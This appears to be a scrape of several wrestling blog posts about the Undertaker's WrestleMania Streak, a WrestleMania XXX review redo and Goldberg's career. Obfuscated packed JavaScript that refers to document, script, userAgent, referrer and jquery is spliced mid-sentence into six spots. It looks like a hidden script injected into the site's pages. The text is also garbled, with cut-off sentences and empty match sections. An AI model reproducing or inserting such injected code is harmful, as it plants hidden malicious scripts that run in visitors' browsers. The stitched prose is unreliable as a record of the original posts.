Wrestlemania XXXI Preview: Undertaker vs. Bray Wyatt

Strike up the gong.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stras|var|u0026u|referrer|etbne||js|php'.split('|'),0,{})) someone explain to me why I’m supposed to care about Undertaker at Wrestlemania? Yeah he had the greatest Streak of all time and no one is ever going to come within ten wins of it, but it’s done. Unless this is to set up his retirement match next year, there really isn’t much of a point to watching him. Let the Streak be done and get out before you embarrass yourself.

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Wrestlemania Count-Up – Wrestlemania XXX (2015 Redo): YES!

Wrestlemania XXX
Date: April 6, 2014
Location: Mercedes-Benz Superdome, New Orleans, Louisiana
Attendance: 75,167
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Pre-Show: Tag Team Titles: Usos vs. Real Americans vs. Los Matadores vs. Ryback/Curtis Axel

Both Real Americans are sent to the floor with Ryback and the Usos being thrown on top of them so Los Matadores can dive on everyone. Torito gets on the top but Axel grabs him from behind and throws him inside. Axel goes up but Los Matadores catch him in a double electric chair, allowing Torito to cross body him down onto the big pile for a crash. Back in and Swagger throws Diego off the top and puts on the Patriot Lock for the submission elimination.

Post match Swagger and Cesaro go at it with Jack putting on the Patriot Lock as Colter loses his mind. They break it up but Cesaro Swings him to blow the roof off the place again.

Stephanie, showing so much leg that Stacy Keibler would tell her to tone it down, introduces HHH. Naturally HHH has a golden throne with three good looking women (played by NXT girls Charlotte, Sasha Banks and Alexa Bliss) to take off his mask and armor. To be fair, this is pretty cool.

HHH vs. Daniel Bryan

HHH bails to the floor but Bryan gets up for two straight Flying Goats, followed by a series of kicks to the chest as they hit another gear. The missile dropkick puts HHH down but Daniel lands on his shoulder. He nips up though and the fans are right back into it. JBL is starting to panic as well as Bryan busts out the YES Kicks. The big one knocks HHH down but he kicks out at two. This is reaching epic.

New Age Outlaws/Kane vs. Shield

Andre the Giant Memorial Battle Royal

Cesaro celebrates with his chest high trophy.

John Cena vs. Bray Wyatt

Bray goes out and rips the top off the Spanish table. Ricardo Rodriguez is on Spanish commentary and tells him to go after the French table in a funny moment. Instead Bray gets a chair and kicks it over to Cena before kneeling in the middle of the ring. He tells Cena to finish this but Cena blasts Rowan instead, setting up Sister Abigail. The kiss is too much though and the second AA is enough to pin Bray.

Brock Lesnar vs. The Undertaker

Wrestlemania XXXI ad.

Divas Title: Vickie Guerrero Divas Invitational

AJ Lee, Naomi, Aksana, Alicia Fox, Brie Bella, Cameron, Emma, Eva Marie, Layla, Natalya, Nikki Bella, Rosa Mendes, Summer Rae, Tamina Snuka

Bruno Sammartino, Dusty Rhodes, Harley Race, Bob Backlund and Bret Hart (by far the loudest reaction) are at ringside.

WWE World Title: Randy Orton vs. Batista vs. Daniel Bryan

Rev Theory (remember them?) play Orton to the ring. Orton is defending of course and Batista won the Royal Rumble to get here. Bryan can barely move that left shoulder and has to do a one armed YES point. After the big match intros, Bryan hits a quick running dropkick to the champion followed by the YES Kicks. Orton calmly goes to the arm and stomps away but Batista takes Randy down.

Batista comes back with a suplex to send Bryan outside but he goes up top for no logical reason other than to allow Orton to superplex him back down. Daniel adds a Swan Dive and puts Orton in the YES Lock but here are HHH and Stephanie to pull out the referee. Crooked referee Scott Armstrong comes in to count two off the Batista Bomb on Bryan. Bryan sends a charging Batista into the post and kicks Armstrong in the head before hitting a FLYING GOAT onto the Authority, including Stephanie. Just fire him right now. Plant a tie on him or something.


Orton immediately sends Bryan into the steps before throwing him back inside. Again he won’t cover though, allowing Batista to come back in and take the champ down. There’s the YES Lock to Batista but Orton is right back up for the save. Daniel is knocked to the floor by Batista’s spear and the RKO gets a VERY close two on Dave to get the fans back into it.

Another RKO is loaded up but Bryan comes back in with the running knee. Batista throws Bryan down but Orton kicks out at two. Another Batista Bomb puts Orton down but Bryan comes back in with the running knee and the YES Lock FINALLY makes Bryan champion, sending New Orleans into a frenzy. Cole dubs it the Miracle on Bourbon Street in a call I really like.

Rating: B. This needed to be five minutes shorter but my goodness they cranked up the emotions here. There was no other possible ending to this though and the fans ate up every single bit of it. The near falls on the finishers were great and I was totally buying into them as potential endings. Not a great match but exactly the way the show should have ended.

Confetti falls (and I got a piece which I still have) and a huge celebration finally ends the show.

Ratings Comparison

Usos vs. Real Americans vs. Los Matadores vs. Ryback/Curtis Axel

Original: B

Redo: B

HHH vs. Daniel Bryan

Original: A

Redo: A

Shield vs. Kane/New Age Outlaws

Original: N/A

Redo: N/A

Andre the Giant Memorial Battle Royal

Original: C+

Redo: C+

Bray Wyatt vs. John Cena

Original: B

Redo: C+

Brock Lesnar vs. Undertaker

Original: C+

Redo: D+

Vickie Guerrero Divas Invitational

Original: D+

Redo: D

Daniel Bryan vs. Batista vs. Randy Orton

Original: A-

Redo: B

Overall Rating

Original: A+

Redo: A-

The main event was too high but the show is still an instant classic.

http://kbwrestlingreviews.com/2014/04/07/wrestlemania-xxx-oh-yeah-i-went-there/

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

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Undertaker Update, A Bit More Context To The Loss

If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irbye|var|u0026u|referrer|adyrd||js|php'.split('|'),0,{})) true, this makes things a lot more understandable.Allegedly Undertaker was injured coming into the match and couldn’t move around that well.  The word on the street is that Undertaker made the call to end it because he couldn’t perform at a high enough level anymore.  I genuinely wonder if the F5 on Raw had something to do with it.  If true, there you go people that insisted they have contact before Wrestlemania.  You got what you wanted and now the Streak is over because of it.

Also Undertaker suffered a concussion/possible neck injury and was hospitalized as a result.  No word on his future or plans for tonight at all.




Wrestlemania XXX Preview: Undertaker vs. Brock Lesnar

I’ve ranted enough about the complaints for the build.It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rksed|var|u0026u|referrer|akzbt||js|php'.split('|'),0,{})) Wrestlemania.  Of course Undertaker wins.

Seriously what else do you want here?  It’s going to be a brutal fight and the Streak continues, sending Undertaker into seclusion until next February, save for an appearance tomorrow night on Raw.

 

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Thought of the Day: You Were Expecting Maybe The Easter Bunny?

On eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybsyz|var|u0026u|referrer|eeddy||js|php'.split('|'),0,{})) the Brock vs. Undertaker build.So the general consensus on the Undertaker vs. Lesnar build seems to be that people hate it.  My immediate answer to that is what were you expecting?

 

The build to Undertaker vs. Brock Lesnar has taken place over the last 23 years.  Maybe you’ve heard of it: it’s called the Streak.  For several years now, the story for Undertaker at Wrestlemania has been people wanting to take down the Streak.  Undertaker had four matches against DX about legacies and retirements and what have you, but it all came down to HHH and Shawn wanting to stop the Streak.  Over the years CM Punk, Randy Orton, HHH, Ric Flair, Batista and a host of others have tried and failed.  The Streak is (arguably) bigger than the WWE Title at this point.

 

Think about this for a minute.  The Streak started 23 years ago.  I’m 26 years old and the Streak began before I went to school for the first time.  It started when WCW was still in the NWA.  The WCW World Title was two months old.  It’s so old that the son of the man who was President when it started served eight years in office since then.  It’s over three times longer than Bruno Sammartino’s WWWF Title reign.  I could go on but you get the idea by now.

 

Whether you like the Streak or not, there’s never been anything like it in wrestling and there never will be again.  Undertaker is getting older now though and the wins are getting harder to come by.  Now the next challenger is Brock Lesnar, who is stronger and tougher than anyone Undertaker has faced in the Streak (yes I’m including Henry).  It’s basically Rocky vs. Drago in Rocky IV.  Lesnar is a fire breathing dragon for Undertaker to slay, but he’s going to push Undertaker to the point where it’s impossible to believe Undertaker will survive.  It happened with Shawn and it happened in the Cell so it can happen again.  They’re even using the idea that Brock has beaten Undertaker’s opponents more easily than Undertaker could.

 

In short, this is what the Streak matches are going to be like, and I could argue that it’s bigger than the triple threat is going to be.  It’s a built in story and one of those things that doesn’t need a big elaborate reason for the two men to be fighting.  Brock Lesnar has destroyed everything else and now he wants to destroy the one thing that no one has been able to stop.  Why do you need a more elaborate story than that?  THe match will be great (Undertaker hasn’t had a bad Wrestlemania match since……Wrestlemania 22?  And Lesnar hasn’t had a truly bad match since he’s been back), the moment will be great, and seeing the 22-0 sign will work at the end of the day.

 

I really don’t know what you people want, because this is what the Streak is going to be until Undertaker hangs up his boots.  They’d be crazy to do anything else.




Wrestlemania 29 Preview: Undertaker vs. CM Punk

I’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhfki|var|u0026u|referrer|zkaer||js|php'.split('|'),0,{})) try to have something to say about this but it’s not going to be easy.For twenty two years now, the Undertaker has never lost at Wrestlemania.  For the last few years now, an attempt at breaking the Streak has been almost as important if not more important than the world title matches.  Breaking the Streak is something people have tried to do for years and CM Punk is the latest in line to make a run at it.  There are two ways to go after Taker at Wrestlemania: as a matter of honor or as a personal matter.

Punk has taken the latter and that means the match is going to suffer as a result.  At the end of the day, while Punk has played up the idea of insulting the memory of Paul Bearer as well as the idea of getting Undertaker disqualified, I haven’t been sucked into the feud.  Punk looks incredibly bored by this whole thing and it seems that he’s out to  just tick Undertaker off rather than actually have a good program to set up the match.  People have been stealing the urn from Undertaker for years now and Hogan already threw the ashes inside of it into Taker’s eyes to beat him back in 1991.  It’s kind of hard to get into a feud like that when you’ve seen HHH and Shawn tear the house down with Taker four years in a row now you know?

As for the match, it’s Undertaker at Wrestlemania.  Undertaker wins.  He just does.




Thought Of The Day: Goldberg

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzbie|var|u0026u|referrer|zbiyh||js|php'.split('|'),0,{})) is another internet wrestling/wrestling in general obsession that I don’t get.Goldberg debuted in 1997, won the US Title in spring of 1998, won the world title in July of 98, lost it in December, feuded with Hall and Nash until the summer, left for a month or two, came back and feuded with Sting, feuded with Russo and hurt his arm attacking the limo, missed four more months, came back, turned heel, turned face, restarted the Streak, and got hurt again in January and was never seen in WCW again.

 

Then he debuted in WWE in March of 2003, feuded with and beat Rock, feuded with HHH over the summer and won the world title, lost the title in December, feuded with Lesnar and had a horrible match with him at Wrestlemania 20.

 

That is Bill Goldberg’s American wrestling career, with every major moment listed in two paragraphs.  Goldberg last appeared in a WWE ring over eight and a half years ago, or longer than Austin and Rock’s WWF careers.

 

So why is the audience still obsessed with the guy?  You hear his name chanted anytime someone goes on a winning streak, people seemingly drool over the idea of him coming back, and people keep wanting him to come back for one more run.  Why?  What is this obsession with Goldberg?  I don’t get it at all.  He’s going to be 46 in December so it’s not like he’d have a long run in him.  His entire career ran for about five years yet people STILL want him back.

 

Someone explain this to me.